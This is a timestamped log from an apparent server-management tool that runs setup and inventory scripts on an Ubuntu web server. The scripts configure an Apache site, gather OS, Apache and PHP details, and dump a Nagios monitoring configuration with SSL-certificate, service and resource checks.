chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/kjvdictionary
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "../sites-available/kjvdictionary_store_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/kjvdictionary_store_org.conf)= /etc/apache2/sites-available/kjvdictionary_store_org.conf'
	echo 'file(/etc/apache2/sites-available/kjvdictionary_store_org.conf= 1'
fi


2025-11-27 13:20:08: 

chmod 755 /tmp/pkp816112; /tmp/pkp816112; rm /tmp/pkp816112

2025-11-27 13:20:08: 


link(/etc/apache2/sites-enabled/kjvdictionary_store_org.conf)= /etc/apache2/sites-available/kjvdictionary_store_org.conf
file(/etc/apache2/sites-available/kjvdictionary_store_org.conf= 1


2025-11-27 13:20:08: 

PUT: /tmp/pkp289475

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-27 13:20:08: 

chmod 755 /tmp/pkp289475; /tmp/pkp289475; rm /tmp/pkp289475

2025-11-27 13:20:08: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-27 13:20:08: Performing Server Status
2025-11-27 13:20:08: 

PUT: /tmp/pkp795445

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-11-27 13:20:08: 

chmod 755 /tmp/pkp795445; /tmp/pkp795445; rm /tmp/pkp795445

2025-11-27 13:20:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
bullseye/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
DISTRIB_CODENAME=focal
DISTRIB_DESCRIPTION="Ubuntu 20.04.6 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size	Used	Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
aries

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 5.4.0-216-generic



2025-11-27 13:20:08: 

PUT: /tmp/pkp712037

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-11-27 13:20:08: 

chmod 755 /tmp/pkp712037; /tmp/pkp712037; rm /tmp/pkp712037

2025-11-27 13:20:08: 


[apache2]
Server version: Apache/2.4.41 (Ubuntu)
Server built:   2025-04-02T18:34:29
Server's Module Magic Number: 20120211:88
Server loaded:  APR 1.6.5, APR-UTIL 1.6.1
Compiled using: APR 1.6.5, APR-UTIL 1.6.1
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_SYSVSEM_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 876
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         876  0.0  0.8 228680 33816 ?        Ss   Nov15   1:32 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 cgi_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 proxy_wstunnel_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2025-11-27 13:20:08: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'aries',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 20.04.6 LTS',
  'rel' => '20.04.6',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'cgi_module',
      18 => 'deflate_module',
      19 => 'dir_module',
      20 => 'env_module',
      21 => 'filter_module',
      22 => 'headers_module',
      23 => 'mime_module',
      24 => 'mpm_prefork_module',
      25 => 'negotiation_module',
      26 => 'php_module',
      27 => 'proxy_module',
      28 => 'proxy_fcgi_module',
      29 => 'proxy_wstunnel_module',
      30 => 'reqtimeout_module',
      31 => 'rewrite_module',
      32 => 'setenvif_module',
      33 => 'socache_shmcb_module',
      34 => 'ssl_module',
      35 => 'status_module',
    ),
  ),
)


2025-11-27 13:20:08: 

PUT: /tmp/pkp495704

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2025-11-27 13:20:08: 

chmod 755 /tmp/pkp495704; /tmp/pkp495704; rm /tmp/pkp495704

2025-11-27 13:20:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php7.4 - server-side, HTML-embedded scripting language (metapackage)



2025-11-27 13:20:08: 

PUT: /tmp/pkp906343

#!/bin/bash
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2025-11-27 13:20:08: 

chmod 755 /tmp/pkp906343; /tmp/pkp906343; rm /tmp/pkp906343

2025-11-27 13:20:08: 


[php7.4]
php=/usr/bin/php7.4
fpm=/etc/php/7.4/fpm/pool.d
version=7.4.33


2025-11-27 13:20:08: 

PUT: /tmp/pkp256157

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-11-27 13:20:08: 

chmod 755 /tmp/pkp256157; /tmp/pkp256157; rm /tmp/pkp256157

2025-11-27 13:20:08: 
2025-11-27 13:20:09: 

PUT: /tmp/pkp453180

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/localhost.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-27 13:20:09: 

chmod 755 /tmp/pkp453180; /tmp/pkp453180; rm /tmp/pkp453180

2025-11-27 13:20:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/localhost.cfg	14955
# Created automatically by PKP. Any manual changes will be lost

###############################################################################
# HOST DEFINITION
###############################################################################

define host {

    use                     linux-server            ; This definition will inherit all variables that are defined in (or inherited by) the host template.
    host_name               localhost
    alias                   aries
    address                 127.0.0.1
}

###############################################################################
# SERVICE and COMMAND DEFINITIONS
###############################################################################

define service {
    use                     local-service
    host_name               localhost
    service_description     PING
    check_command           012e92238a0e7d3980db4ebc2ccd3067
    check_interval   5
    notification_interval 15
}

define command {
    command_name    012e92238a0e7d3980db4ebc2ccd3067
    command_line    $USER1$/check_ping -H google.com -w 200,20% -c 500,40% -p 5 -4
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :hub
    check_command           1041d81fee7b56e4dbe4540e1337f3f1
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    1041d81fee7b56e4dbe4540e1337f3f1
    command_line    $USER1$/check_ssl_cert.php  --host=pkp.pjy.us --port=1100 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :PJY
    check_command           1ab8d2633c72585c91d2fba67402278f
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    1ab8d2633c72585c91d2fba67402278f
    command_line    $USER1$/check_ssl_cert.php  --host=pjy.us --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     Reboot
    check_command           1c1bb1702bfb3dd6b598e7184d0896e2
    check_interval   60
    notification_interval 180
}

define command {
    command_name    1c1bb1702bfb3dd6b598e7184d0896e2
    command_line    $USER1$/check_file_exists -f /run/reboot-required -e
}

define service {
    use                     local-service
    host_name               localhost
    service_description     Uptime
    check_command           1ce411d2efcec6bbaf1494d37c29abe0
    check_interval   60
    notification_interval 180
}

define command {
    command_name    1ce411d2efcec6bbaf1494d37c29abe0
    command_line    $USER1$/check_uptime
}

define service {
    use                     local-service
    host_name               localhost
    service_description     _HOME
    check_command           1ea94a3f66910fce5dd3ccadbd5a6e2e
    check_interval   5
    notification_interval 15
}

define command {
    command_name    1ea94a3f66910fce5dd3ccadbd5a6e2e
    command_line    $USER1$/check_file_exists -f /mnt/home/.mounted
}

define service {
    use                     local-service
    host_name               localhost
    service_description     _STOUGHTON
    check_command           21754ee205f4ad566bda0dbdadc2f0bf
    check_interval   5
    notification_interval 15
}

define command {
    command_name    21754ee205f4ad566bda0dbdadc2f0bf
    command_line    $USER1$/check_file_exists -f /mnt/stoughton/.mounted
}

define service {
    use                     local-service
    host_name               localhost
    service_description     portal
    check_command           221fe4d94590d6c388dac0d18a3929ac
}

define command {
    command_name    221fe4d94590d6c388dac0d18a3929ac
    command_line    /usr/bin/php8.1 -q /var/www/pjy_pkp/public/index.php "uri=/~/nagios/execute/221fe4d94590d6c388dac0d18a3929ac"
}

define service {
    use                     local-service
    host_name               localhost
    service_description     O/S Updates
    check_command           25d334d0a62e3ee21cdd388b781b12ec
    check_interval   1440
    notification_interval 4320
    retry_interval   60
}

define command {
    command_name    25d334d0a62e3ee21cdd388b781b12ec
    command_line    sudo $USER1$/check_debian_packages
}

define service {
    use                     local-service
    host_name               localhost
    service_description     Apache
    check_command           2afb7ef3288eea810cb1250cfa21a980
    check_interval   5
    notification_interval 15
}

define command {
    command_name    2afb7ef3288eea810cb1250cfa21a980
    command_line    $USER1$/check_service -s apache2
}

define service {
    use                     local-service
    host_name               localhost
    service_description     Total Processes
    check_command           2d7a9f286c178e06624231fbdde93b1e
}

define command {
    command_name    2d7a9f286c178e06624231fbdde93b1e
    command_line    $USER1$/check_procs -w 250 -c 400
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :VOTE
    check_command           340f02d7085c455de03033d03aea5391
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    340f02d7085c455de03033d03aea5391
    command_line    $USER1$/check_ssl_cert.php  --host=vote.hopeinstoughton.org --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     Current Load
    check_command           411a4c659194adc294dc149e34619601
}

define command {
    command_name    411a4c659194adc294dc149e34619601
    command_line    $USER1$/check_load -w 5.0,4.0,3.0 -c 10.0,6.0,4.0
}

define service {
    use                     local-service
    host_name               localhost
    service_description     Eggshell
    check_command           41e933c41962c21d31e017b66e00028d
    check_interval   5
    notification_interval 15
}

define command {
    command_name    41e933c41962c21d31e017b66e00028d
    command_line    $USER1$/check_service -s eggshell
}

define service {
    use                     local-service
    host_name               localhost
    service_description     bind
    check_command           457edd1577b09ecc256e8a149d1c8e1c
    check_interval   5
    notification_interval 15
}

define command {
    command_name    457edd1577b09ecc256e8a149d1c8e1c
    command_line    $USER1$/check_service -s named
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :ay
    check_command           5226c2c8934d9057808a60a95af9b27d
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    5226c2c8934d9057808a60a95af9b27d
    command_line    $USER1$/check_ssl_cert.php  --host=anitayoung.net --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :EGG
    check_command           55be6b55dd84a7708b3ae9a49ec0ba8a
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    55be6b55dd84a7708b3ae9a49ec0ba8a
    command_line    $USER1$/check_ssl_cert.php  --host=eggshell.pjy.us --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :CDN3
    check_command           64d51936cb3a4c3195671092981c4f5a
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    64d51936cb3a4c3195671092981c4f5a
    command_line    $USER1$/check_ssl_cert.php  --host=cdn3.hopeinstoughton.org --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     Current Users
    check_command           682eae54ff2107f7da9079fbe84efa0f
}

define command {
    command_name    682eae54ff2107f7da9079fbe84efa0f
    command_line    $USER1$/check_users -w 10 -c 20
}

define service {
    use                     local-service
    host_name               localhost
    service_description     Auto
    check_command           6a821f23d1089c898f3bdc9d964a7433
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    6a821f23d1089c898f3bdc9d964a7433
    command_line    $USER1$/check_autoupdate.php
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :CDN1
    check_command           6dee009e5fc92ac20df9f190f6978c5e
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    6dee009e5fc92ac20df9f190f6978c5e
    command_line    $USER1$/check_ssl_cert.php  --host=cdn1.hopeinstoughton.org --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :HZ
    check_command           75a83fe1dcfa87700c11d21e615b396d
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    75a83fe1dcfa87700c11d21e615b396d
    command_line    $USER1$/check_ssl_cert.php  --host=hostz.org --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :PKP
    check_command           7754953c38f6c8dfe046b0bbfcb7364d
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    7754953c38f6c8dfe046b0bbfcb7364d
    command_line    $USER1$/check_ssl_cert.php  --host=pkp.pjy.us --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :PCO
    check_command           77acb3401fa57566ec63fcbb37c93dfc
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    77acb3401fa57566ec63fcbb37c93dfc
    command_line    $USER1$/check_ssl_cert.php  --host=patientapps.co --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     MariaDb
    check_command           82011602d8d17d20128f7ceb15d3ce4d
    check_interval   5
    notification_interval 15
}

define command {
    command_name    82011602d8d17d20128f7ceb15d3ce4d
    command_line    $USER1$/check_service -s mariadb
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :HiS
    check_command           93f05704a67004ed1b1685341ff161df
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    93f05704a67004ed1b1685341ff161df
    command_line    $USER1$/check_ssl_cert.php  --host=hopeinstoughton.org --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     Root Partition
    check_command           9877b9432ca4dbb4e86333dc29b9ee4a
    check_interval   5
    notification_interval 15
}

define command {
    command_name    9877b9432ca4dbb4e86333dc29b9ee4a
    command_line    $USER1$/check_disk -w 6 -c 3 -p / -u GB
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :aries
    check_command           9f678e7d72b1c51d22c976489811af58
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    9f678e7d72b1c51d22c976489811af58
    command_line    $USER1$/check_ssl_cert.php  --host=aries.hostz.org --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :link
    check_command           b8192159359d67f0b476652dd6119f53
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    b8192159359d67f0b476652dd6119f53
    command_line    $USER1$/check_ssl_cert.php  --host=stoughton.link --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :BETA
    check_command           bf0a9ce211a3b29e426ba39f511e8b99
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    bf0a9ce211a3b29e426ba39f511e8b99
    command_line    $USER1$/check_ssl_cert.php  --host=beta.patientapps.net --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :TYD
    check_command           c542d08c484a926b3370d7afd1da02e5
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    c542d08c484a926b3370d7afd1da02e5
    command_line    $USER1$/check_ssl_cert.php  --host=theyoungdesigners.us --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :CDN4
    check_command           c5abf59367fab730e1b68b9dd8492f6a
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    c5abf59367fab730e1b68b9dd8492f6a
    command_line    $USER1$/check_ssl_cert.php  --host=cdn4.hopeinstoughton.org --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     voip.ms
    check_command           d135d30158a503f30d3b1c3f3f6a90fc
}

define command {
    command_name    d135d30158a503f30d3b1c3f3f6a90fc
    command_line    /usr/bin/php8.1 -q /var/www/pjy_pkp/public/index.php "uri=/~/nagios/execute/d135d30158a503f30d3b1c3f3f6a90fc"
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :TYDc
    check_command           da9ea14c8cdb6f1077872421250bfe47
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    da9ea14c8cdb6f1077872421250bfe47
    command_line    $USER1$/check_ssl_cert.php  --host=theyoungdesigners.com --port=443 --warning=21 --critical=7
}

define service {
    use                     local-service
    host_name               localhost
    service_description     :kjd
    check_command           e310c6378eda916a3719542fc7cf30e8
    check_interval   1440
    notification_interval 4320
}

define command {
    command_name    e310c6378eda916a3719542fc7cf30e8
    command_line    $USER1$/check_ssl_cert.php  --host=kjvdictionary.org --port=443 --warning=21 --critical=7
}





(gzipped output)


MD5(/usr/local/nagios/etc/objects/commands.cfg)= 01bde29e474c65888f3198db6533647f
MD5(/usr/local/nagios/etc/objects/contacts.cfg)= c5e045a98012465016e36602cd0f1eab
MD5(/usr/local/nagios/etc/objects/timeperiods.cfg)= 9e9c822c634255dbed808491e0089296
MD5(/usr/local/nagios/etc/objects/templates.cfg)= dc3266c6bb8ce169d7e6d194d7b1e72d
MD5(/usr/local/nagios/etc/objects/pkp.cfg)= 4342b5a6384f866613f3d6a8132a70e2
MD5(/usr/local/nagios/etc/objects/hostgroup.cfg)= 8fd8035105e240bc8631a4ed1a2baab7
MD5(/usr/local/nagios/etc/objects/localhost.cfg)= 1ed8753ee170fda2d6a1e91b181284e9
bin(/usr/local/nagios/libexec/check_real)= 5e19b5c5e40d6e40d16e3505da57cb05
bin(/usr/local/nagios/libexec/check_ssh)= 7eb26e24dd1a42d22604ce66244caa14
bin(/usr/local/nagios/libexec/check_ntp_time)= ce45c72f86257b3227330cdf654bb241
bin(/usr/local/nagios/libexec/check_dummy)= 9059e3043eb48f4de81b72d7b0951b8d
bin(/usr/local/nagios/libexec/check_ssmtp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_pop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_imap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4e4ee59fada8b591e57cb93b33f1c085
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_simap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ide_smart)= 0cee3da97cc6ea0e77032283737a7f93
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_ssl_certificate)= cad7d899ff9dd6501ddf03d18895b5c2
bin(/usr/local/nagios/libexec/check_dns)= e026bfbb50a3ed080497cf86304af190
bin(/usr/local/nagios/libexec/check_ntp)= ef86f455d0dd980f5bf465d501a1ee24
bin(/usr/local/nagios/libexec/check_nagios)= 16f78531ef10d8bd815637619ad8810f
bin(/usr/local/nagios/libexec/check_overcr)= 6347d00b93fd427d3aeb5bec85284eb1
bin(/usr/local/nagios/libexec/check_nntp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_spop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ftp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_swap)= 7d1237348d1b008206ef0efcf16e0964
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_jabber)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_by_ssh)= e005655c209de4e02d7c15dee194b5ef
bin(/usr/local/nagios/libexec/check_udp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_dig)= 94fc177ae79310de86dea510479a152a
bin(/usr/local/nagios/libexec/check_http)= 6568222b2189dca9bbaf20a9975f85ca
bin(/usr/local/nagios/libexec/check_nt)= 9708478e65a9716ed2e8d1aa50b54db5
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_mrtg)= 37f24463db28f6a36a5768b16c1031ed
